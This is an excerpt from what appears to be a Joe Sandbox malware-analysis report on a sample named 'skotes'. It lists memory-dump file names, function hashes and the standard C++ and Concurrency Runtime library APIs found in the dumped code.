Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Scheduler$ContextThrottling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_ExerciseFoundH_prolog3_catchNextProcessor::RingSchedulingSpinStartupTicket::TimerUntilWith
String ID:
API String ID: 1475861073-0
Opcode ID: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction ID: a84a31522ec1055fd230ed51fe99f596894a7ced2c654888106bc55a06aee463
Opcode Fuzzy Hash: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction Fuzzy Hash: E031E432A082555ACF16AB7844A27FEBBF5DF81304F0521ABD4D5F7342FA25494BC391

Function 00EDDD18 Relevance: 10.6, APIs: 7, Instructions: 117threadCOMMON

Download Yara Rule

APIs

Concurrency::details::UMS::CreateUmsCompletionList.LIBCONCRT ref: 00EDDD91
Concurrency::details::InternalContextBase::ExecutedAssociatedChore.LIBCONCRT ref: 00EDDDAE
Concurrency::details::InternalContextBase::WorkWasFound.LIBCONCRT ref: 00EDDE14
Concurrency::details::InternalContextBase::ExecuteChoreInline.LIBCMT ref: 00EDDE29
Concurrency::details::InternalContextBase::WaitForWork.LIBCONCRT ref: 00EDDE3B
Concurrency::details::InternalContextBase::CleanupDispatchedContextOnCancel.LIBCMT ref: 00EDDE4B
Concurrency::details::UMS::GetCurrentUmsThread.LIBCONCRT ref: 00EDDE74

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Context$Base::Internal$ChoreWork$AssociatedCancelCleanupCompletionCreateCurrentDispatchedExecuteExecutedFoundInlineListThreadWait
String ID:
API String ID: 2885714658-0
Opcode ID: fe88e6ea73e53047b7a4b017b696307af9128ba743cf979991635b3be33dde07
Instruction ID: 03a58f87d8e46f0c1138df789f91fe6079c3f90e42cc470ee5299cbaa77ded38
Opcode Fuzzy Hash: fe88e6ea73e53047b7a4b017b696307af9128ba743cf979991635b3be33dde07
Instruction Fuzzy Hash: 5D419F30A082449ACF14FBA48955BEC77A5DF50304F1860AAE8457F3C3DB358E07C762

Function 00EDE7AF Relevance: 10.6, APIs: 7, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 00EDE7D7

Part of subcall function 00EDE544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 00EDE577
Part of subcall function 00EDE544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 00EDE599

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00EDE854
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 00EDE860
Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 00EDE86F
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 00EDE879
Concurrency::location::_Assign.LIBCMT ref: 00EDE8AD
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00EDE8B5

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
String ID:
API String ID: 1924466884-0
Opcode ID: d8cc0944158d601b898c8b76bcf292ac598a15d9c957a89f972963c8e3640e5c
Instruction ID: ce2f76494ba9911c16e5c3af6451548c5e960bf0e307b697c1fa93318962cbd5
Opcode Fuzzy Hash: d8cc0944158d601b898c8b76bcf292ac598a15d9c957a89f972963c8e3640e5c
Instruction Fuzzy Hash: CD410E79A00204DFCF05EF64C495BADB7B5FF48314F1890AADD45AB382DB74A942CB91

Function 00EC6E00 Relevance: 9.3, APIs: 6, Instructions: 336COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00EC6ED1
std::_Rethrow_future_exception.LIBCPMT ref: 00EC6F22
std::_Rethrow_future_exception.LIBCPMT ref: 00EC6F32
__Mtx_unlock.LIBCPMT ref: 00EC6FD5
__Mtx_unlock.LIBCPMT ref: 00EC70DB
__Mtx_unlock.LIBCPMT ref: 00EC7116

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_
String ID:
API String ID: 1997747980-0
Opcode ID: 1049cc9f56e0a17268ec1bcc826c523209646c28b12e9276851d31ac3c7b0d3b
Instruction ID: 2ab790d9bd6a5eed4fcaf7436ed6428f4d68ae2543767683890af1bc9648decf
Opcode Fuzzy Hash: 1049cc9f56e0a17268ec1bcc826c523209646c28b12e9276851d31ac3c7b0d3b
Instruction Fuzzy Hash: E7C1F2709043489FDB20DFA4CA45FAFBBF4AF04318F14552EE856B7691DB32A906CB61

Function 00ED44DE Relevance: 9.2, APIs: 6, Instructions: 196timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00ED4538
ListArray.LIBCONCRT ref: 00ED456C
Hash.LIBCMT ref: 00ED45D5
Hash.LIBCMT ref: 00ED45E5

Part of subcall function 00ED9C41: std::bad_exception::bad_exception.LIBCMT ref: 00ED9C63

Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 00ED474B
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00ED47A4

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
